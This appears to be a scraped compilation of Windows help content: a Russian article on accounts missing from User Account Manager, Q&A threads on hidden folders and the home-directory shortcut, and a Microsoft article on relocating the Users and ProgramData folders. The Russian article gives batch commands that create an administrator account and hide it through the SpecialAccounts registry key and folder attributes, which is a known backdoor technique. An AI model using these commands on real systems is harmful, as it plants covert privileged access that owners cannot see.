- Невидимые пользователи Windows
- Windows command-line command to list hidden folders
- 5 Answers 5
- How to Find Hidden Files and Folders in Windows
- What is the alternative for
- 11 Answers 11
- Relocation of the Users and the ProgramData directories to a drive other than the drive that has the Windows directory
- More information
- Information that is documented in the current release of the Windows AIK and the Windows OPK
- The Profiles Directory setting
- The ProgramData setting
Невидимые пользователи Windows
Эта статья описывает неправильную работу
User Account Manager в Панеле Управления Windows. Ошибка
подтверждена в Windows 2000 Professional, Windows XP Home и
Windows XP Professional, компания Microsoft была
уведомлена в конце Июля. Описываемая
проблема не с netapi, а именно с User Account Manager в
операционной системе — программа не может
вывести список всех пользователей,
существующих в системе.
Проблема с пользователями я обнаружил в
процессе исследования netapi в Windows — пользователи,
созданные функцией netuseradd (исходник
на VB.NET) не показываются в User Account Manager и при
логине в систему. Проблема в общем то не
слишком большая, однако большинство
пользователей для обзора всех
пользователей используют Панель
Управления и ожидают от Менеджера
пользователей правильной работы.
Решение этой проблемы опять же довольно
просто — не используйте User Account Manager для
управления пользователями. Вместо него
можно использовать оснастку Local Users and Groups
management, найти ее можно Control Panel -> Administrative Tools
-> Computer Management -> Local Users and Groups, или запустив
lusrmgr.msc. Помимо этого (для тех, у кого нет
такой программы, а это все пользователи XP Home)
реально просмотреть всех пользователей вот
так:
C:\net user
User accounts for \\XPHOMEBITES
Administrator | ASPNET | Guest |
HelpAssistant | nabiy | SUPPORT_388945a0 |
The command completed successfully.
Понятно, что сама Windows созадет несколько
учетных записей для своей работы, в
частности , например, Administrator и Guest, HelpAssistant и
т.д.
Удалить «незваного» пользователя
можно так (хотя прежде всего лучше просто
«выключить» пользователя, которого
хотите удалить, через compmgmt.msc, для того, что
бы быть уверенным в том, что это не
критически важный для системы пользователь):
net user ACCOUNTNAME /delete
Еще один способ создать «невидимого»
пользователя в Windows:
net user user password /add && net localgroup
administrators illwill /add
echo Windows Registry Editor Version 5.00> c:\hide.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]>> c:\hide.reg
echo «user»=dword:00000000>> c:\hide.reg
REGEDIT /S c:\hide.REG
DEL /Q c:\hide.REG
attrib +r +a +s +h %SystemDrive%\docume
Или так (без .reg файла):
net user hiddenuser hidden /add && localgroup
administrators hiddenuser /add
reg add «hklm\software\microsoft\windows
nt\currentversion\winlogon\specialaccounts\userlist /v hiddenuser /t reg_dword /d
0 /f
if exist «\documents and settings\hiddenuser» attrib +s +r +h «\documents
and settings\hiddenuser»
exit
Однако, в данном случае это не уязвимость,
а правильная работа системы — ведь
пользователи из группы Special Accounts не
отображаются при логоне в систему или в
Панели Управления. В первом же случае
налицо неправильное функционирование —
пользователь не входит в группу Special Accounts,
но тем не менее не показывается в списке
юзеров.
Windows command-line command to list hidden folders
Is there a command on the Windows command-line that can list hidden folders?
I’ve tried dir -a:dh but that doesn’t work for me.
5 Answers 5
Use the following command:
The difference between what you were typing and this command is that you were using a — to indicate the switch, not a / . In most windows command line applications, this doesn’t matter, but in the case of the dir command, you must use a slash, not a dash.
The /a switch changes which attributes are displayed. h shows hidden files and d shows just directories. Make sure you keep the trailing slash on the end of the folder path. I just tested, and it worked fine.
- dir/a should show hidden folders.
- dir /a:d shows all directories.
- dir /a:h shows all hidden files.
Try dir /adh (without the colon) to combine.
To list all files and folders, including hidden and system ones, use dir with /a flag:
I found a script when i was younger that «locked your folder» it would basically hide files. I looked into the code and i understood it now and it uses the attrib -h -s «foldername» to unlock it as it was locked with attrib +h +s «foldername»
I saw the similar answer with -1 vote but it seems it kinda helped in my case as i forgot the password for the locker app thing (a simple batch file)
I wanted to see if i can get through without writting the password and i could, even though the password was in the file’s code XD
Ofcourse, don’t use this unless you are sure you are not messing up stuff, i knew it was ok cuz i read the code in the batch file.
How to Find Hidden Files and Folders in Windows
Last Updated: February 9, 2021
This article was co-authored by Mobile Kangaroo. Mobile Kangaroo is a full service repair shop and Apple Authorized Service Provider headquartered in Mountain View, CA. Mobile Kangaroo has been repairing electronic devices such as computers, phones, and tablets, for over 16 years, with locations in over 20 cities.
This article has been viewed 1,290,688 times.
This wikiHow teaches you how to display and locate hidden files and folders in Windows.
Mobile Kangaroo
Computer & Phone Repair Specialists Expert Interview. 11 September 2019. It should be in the middle of the «Advanced settings» window.
- If you don’t see this option, double-click the Hidden files and folders line of text. If you don’t see that option either, first double-click Files and Folders at the top of the «Advanced settings» window.
What is the alternative for
I’m trying to use the command prompt to move some files, I am used to the linux terminal where I use
to specify the my home directory I’ve looked everywhere but I couldn’t seem to find it for windows command prompt ( Documents and Settings\[user] )
11 Answers 11
You’re going to be disappointed: %userprofile%
You can use other terminals, though. Powershell, which I believe you can get on XP and later (and comes preinstalled with Win7), allows you to use
for home directory.
You can %HOMEDRIVE%%HOMEPATH% for the drive + \docs settings\username or \users\username .
You can use %systemdrive%%homepath% environment variable to accomplish this.
The two command variables when concatenated gives you the desired user’s home directory path as below:
Running echo %systemdrive% on command prompt gives:
Running echo %homepath% on command prompt gives:
When used together it becomes:
Update — better version 18th July 2019.
Final summary, even though I’ve moved on to powershell for most windows console work anyway, but I decided to wrap this old cmd issue up, I had to get on a cmd console today, and the lack of this feature really struck me. This one finally works with spaces as well, where my previous answer would fail.
In addition, this one now is also able to use
as a prefix for other home sub-folders too, and it swaps forward-slashes to back-slashes as well. So here it is;
Step 1. Create these doskey macros, somewhere they get picked up every time cmd starts up.
Step 2. Create the cdtilde.bat file and put it somewhere in your PATH
Tested fine with;
Oh, also it allows lazy quoting, which I found useful, even when spaces are in the folder path names, since it wraps all of the arguments as if it was one long string. Which means just an initial quote also works, or completely without quotes also works.
All other stuff below may be ignored now, it is left for historical reasons — so I dont make the same mistakes again
old update 19th Oct 2018.
In case anyone else tried my approach, my original answer below didn’t handle spaces, eg, the following failed.
I think there must be a way to solve that. Will post again if I can improve my answer. (see above, I finally got it all working the way I wanted it to.)
My Original Answer, still needed work. 7th Oct 2018.
I was just trying to do it today, and I think I got it, this is what I think works well;
First, some doskey macros;
Relocation of the Users and the ProgramData directories to a drive other than the drive that has the Windows directory
This article describes the changes in policy for the relocation of the Users directory and the ProgramData directory to a drive other than the %systemdrive% drive in Windows operating systems.
Original product version: В Windows 10 — all editions, Windows Server 2019, Windows Server 2016, Windows Server 2012 R2
Original KB number: В 949977
Using the ProgramData setting to redirect folders to a drive other than the system volume will block your ability to upgrade to future versions of Windows.
By changing the default location of the user profile directories or program data folders to a volume other than the system volume, you cannot service your Windows installation. Any updates, fixes, or service packs cannot be applied to the installation. We recommend that you do not change the location of the user profile directories or program data folders.
Beginning with Windows 10, OS upgrades are supported even if user profiles are redirected to another drive. For example, if you are using Windows 8.1 with ProfilesDirectory set to D:\, you can upgrade to Windows 10.
More information
%systemdrive% is defined as the drive that contains the Windows directory. There are various reasons why you may want to relocate the Users directory or the ProgramData directory to other drives.
For Windows, the most common reasons are as follows:
- It is easier to back up data from a single drive and from a drive that contains only user files.
- It is easier to rebuild the operating system drive on a user’s computer if user data is located on a separate volume. In this case, the drive that contains the Windows directory can be formatted, and Windows can be reinstalled without having to worry about how to remove user data.
For Windows Server, the most common reason is as follows:
- There are performance improvements when you relocate the Users directory and the ProgramData directory to a drive other than the operating system drive.
For information about how to use the answer file setting, see Answer Files Overview.
If you use the FolderLocations unattend setting to move user data to a location other than the %systemdrive% drive, some servicing components may not be installed. These components may include critical updates, security updates, hotfixes, and service packs.
Information that is documented in the current release of the Windows AIK and the Windows OPK
The Windows Automated Installation Kit (AIK) and the Windows OEM Preinstallation Kit (OPK) for Windows and Windows Server contain documentation warnings that are related to the usage of the Profile Directory and ProgramData unattend settings. These are the settings that let you relocate the Users directory and the ProgramData directory to locations other than their default locations. This includes other drives.
These warnings were included before the servicing stack update (update 937287) was available. This update addresses the issue that is discussed in the warning text. Windows AIK and the Windows OPK documentation reads as follows. You cannot upgrade such installations to the next version of Windows.
Setting information from the Windows AIK and Windows OPK documentation:
The Profiles Directory setting
The Profiles Directory setting specifies the path of the user profile folder.
Use this setting to move the user profile folder (typically %SYSTEMDRIVE%\Users) to another location during Setup or Sysprep. The destination path can be on a volume other than the system drive, as long as it meets the following requirements:
- It must be on an NTFS volume.
- It must not be the path of another operating system user profile folder.
- It must not contain any serviceable components.
This setting can be used to keep system data separate from user data. If Windows is reinstalled on the system volume, a user who has administrative rights can manually recover data from this location.
Using ProfilesDirectory to redirect folders to a drive other than the system volume blocks upgrades. Using ProfilesDirectory to point to a directory that is not the system volume will block SKU upgrades and upgrades to future versions of Windows. For example, if you use Windows 8 together with ProfilesDirectory set to D:\, you cannot upgrade to Windows 8 Pro or to the next version of Windows. The servicing stack does not handle cross-volume transactions, and it blocks upgrades.
The ProgramData setting
The ProgramData setting specifies the path of the program data folder.
These settings should be used only in a test environment. By changing the default location of the user profile directories or program data folders to a volume other than the System volume, you cannot service your Windows installation. Any updates, fixes, or service packs cannot be applied to the installation. Microsoft recommends that you do not change the location of the user profile directories or program data folders. This is especially true for Microsoft Store apps. Changing the location of %programdata% will cause errors when you install, uninstall, or update these apps.
If you use the unattend settings to set up the operating systems that are listed in this article, we will provide commercially reasonable efforts to support your scenario.